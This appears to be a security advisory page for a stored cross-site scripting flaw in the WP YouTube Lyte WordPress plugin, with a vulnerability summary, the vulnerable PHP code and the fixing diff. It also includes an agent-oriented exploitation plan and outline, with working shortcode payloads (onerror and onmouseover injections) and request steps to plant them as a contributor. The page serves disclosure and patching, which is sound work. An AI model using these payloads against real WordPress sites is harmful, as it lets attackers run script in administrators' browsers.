WP YouTube Lyte <= 1.7.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via lyte Shortcode
Description
The WP YouTube Lyte plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'lyte' shortcode in all versions up to, and including, 1.7.29 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.29What Changed in the Fix
Changes introduced in v1.7.30
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3299 (WP YouTube Lyte Stored XSS) ## 1. Vulnerability Summary The **WP YouTube Lyte** plugin (<= 1.7.29) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the `[lyte]` shortcode attributes. When a…
Show full research plan
Exploitation Research Plan: CVE-2026-3299 (WP YouTube Lyte Stored XSS)
1. Vulnerability Summary
The WP YouTube Lyte plugin (<= 1.7.29) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the [lyte] shortcode attributes. When a user with Contributor-level permissions or higher includes the shortcode in a post, the plugin fails to sanitize or escape the attributes (such as id, audio, or playlist) before rendering them into the HTML output. This allows an attacker to break out of HTML attributes and inject malicious JavaScript that executes when any user (including administrators) views the post.
2. Attack Vector Analysis
- Endpoint: Standard WordPress post editor (Gutenberg or Classic Editor).
- Vulnerable Action: Saving or updating a post/page containing the
[lyte]shortcode. - Vulnerable Parameter: Attributes within the
[lyte]shortcode (e.g.,id,audio,playlist). - Authentication Level: Contributor+ (requires
edit_postscapability). - Preconditions: The plugin must be active. No specific settings are required to enable the shortcode.
3. Code Flow
- Registration: The plugin registers the
[lyte]shortcode (likely viaadd_shortcode( 'lyte', 'shortcode_lyte' )in the truncated portion ofwp-youtube-lyte.php). - Processing: When a post is viewed, WordPress parses the content and calls the shortcode handler.
- Attribute Extraction: The handler uses
shortcode_atts()to extract user-supplied attributes likeid,audio, andplaylist. - Rendering (Sink): The handler builds an HTML string (often a
divwith classlyte) to represent the player. It concatenates the extracted attributes into this string. - Vulnerability: The code fails to wrap the attribute values in
esc_attr(). For example:// Vulnerable Pattern (Inferred) return '<div class="lyte" id="lyte_' . $atts['id'] . '" data-id="' . $atts['id'] . '"></div>'; - Output: The unescaped input is returned to the page content and rendered in the browser.
4. Nonce Acquisition Strategy
This exploit involves a standard WordPress post-creation workflow. No custom plugin nonces are required for the injection, but the automated agent must handle the standard WordPress _wpnonce for saving posts.
- Login: Authenticate as a Contributor user.
- Navigate: Go to
/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnonceandpost_IDfrom the editor page._wpnonce:document.querySelector('#_wpnonce')?.value || wp.data.select('core/editor').getOption('nonce')post_ID:document.querySelector('#post_ID')?.value
- Note: If using the Gutenberg editor, nonces are often handled via the REST API or localized into the
wpApiSettingsorwpglobal objects.
5. Exploitation Strategy
The goal is to inject an event handler into the id or another attribute of the [lyte] shortcode.
Step 1: Login as Contributor
Use the http_request tool to log in as a user with the Contributor role.
Step 2: Create a Post with Malicious Shortcode
Submit a POST request to /wp-admin/post.php (or use the REST API) to save a post containing the payload.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[EXTRACTED_ID]_wpnonce:[EXTRACTED_NONCE]post_title:Lyte XSS Testpost_content:[lyte id='"><img src=x onerror=alert(document.domain)>' /]publish:Publish(orsavefor draft)
Step 3: Trigger the XSS
Navigate to the newly created post URL as an Administrator.
6. Test Data Setup
- Plugin: Ensure
wp-youtube-lyteversion 1.7.29 is installed and activated. - User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Environment: No YouTube API key is required, as the shortcode rendering logic triggers before any API calls are made.
7. Expected Results
- When the post is rendered, the HTML source will contain a broken attribute:
<div class="lyte" id="lyte_"><img src=x onerror=alert(document.domain)>" ...> - The browser will execute the
onerrorhandler, displaying an alert box with the document domain.
8. Verification Steps
- Manual Check: Access the post as Admin and confirm the JS execution.
- WP-CLI Check: Verify the content is stored exactly as injected.
wp post get [POST_ID] --field=post_content
- Source Inspection: Use
http_requestto fetch the post page and search for the unescaped payload:grep 'onerror=alert' response_body.html
9. Alternative Approaches
If the id attribute is sanitized via a strict regex (e.g., only 11 alphanumeric characters), target other attributes mentioned in readme.txt or lyte_parse:
- Audio:
[lyte id='_SQkWbRublY' audio='true" onmouseover="alert(1)" style="display:block;width:100px;height:100px;background:red;"'] - Playlist:
[lyte id='PLA486E741B25F8E00' playlist='true" onmouseover="alert(1)"'] - Arbitrary Parameters: Try parameters processed in
lyte_parse(line 123-131):stepSize,showinfo,start,enablejsapi,hqThumb.- Example:
[lyte id='_SQkWbRublY' showinfo='1" onmouseover="alert(1)"']
- Example:
These parameters are extracted using preg_match in lyte_parse, but the shortcode handler might pass them directly into the template before that logic applies.
Summary
The WP YouTube Lyte plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'lyte' shortcode. Due to insufficient input sanitization and output escaping on attributes such as 'id', 'start', and 'stepSize', an attacker with contributor-level access can inject arbitrary web scripts into posts that execute whenever a user views the affected page.
Vulnerable Code
// wp-youtube-lyte.php line 657 function shortcode_lyte($atts) { extract(shortcode_atts(array( 'id' => '', 'audio' => '', 'playlist' => '', 'start' => '', 'showinfo' => '', 'stepsize' => '', 'hqthumb' => '', ), $atts)); $qs = ''; if ($audio) { $proto = 'httpa'; } else { $proto = 'httpv'; } if ( $start !== '' ) { $qs .= '&start=' . $start; } if ( $showinfo === 'false' ) { $qs .= '&showinfo=0'; } if ( $hqthumb ) { $qs .= '&hqThumb=1'; } if ( $stepsize ) { $qs .= '#stepSize=' . $stepsize; } if ( $playlist ) { $action = 'playlist?list=';} else { $action = 'watch?v='; } return lyte_parse( $proto . '://www.youtube.com/' . $action . $id . $qs ); }
Security Fix
@@ -657,13 +657,13 @@ $qs = ''; if ($audio) { $proto = 'httpa'; } else { $proto = 'httpv'; } - if ( $start !== '' ) { $qs .= '&start=' . $start; } + if ( $start !== '' ) { $qs .= '&start=' . esc_attr( $start ); } if ( $showinfo === 'false' ) { $qs .= '&showinfo=0'; } if ( $hqthumb ) { $qs .= '&hqThumb=1'; } - if ( $stepsize ) { $qs .= '#stepSize=' . $stepsize; } + if ( $stepsize ) { $qs .= '#stepSize=' . esc_attr( $stepsize ); } if ( $playlist ) { $action = 'playlist?list=';} else { $action = 'watch?v='; } - return lyte_parse( $proto . '://www.youtube.com/' . $action . $id . $qs ); + return lyte_parse( $proto . '://www.youtube.com/' . $action . esc_attr( $id ) . $qs ); }
Exploit Outline
1. Authenticate as a user with at least Contributor-level privileges (e.g., ability to edit posts). 2. Create a new post or edit an existing one using the WordPress editor. 3. Embed the [lyte] shortcode using a malicious payload in the 'id' or 'start' attribute, such as: [lyte id='"><img src=x onerror=alert(document.domain)>' /]. 4. Save the post as a draft or publish it. 5. Navigate to the post's public URL (or have an administrator view it). The unescaped attribute will break out of the HTML tag's attributes, executing the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.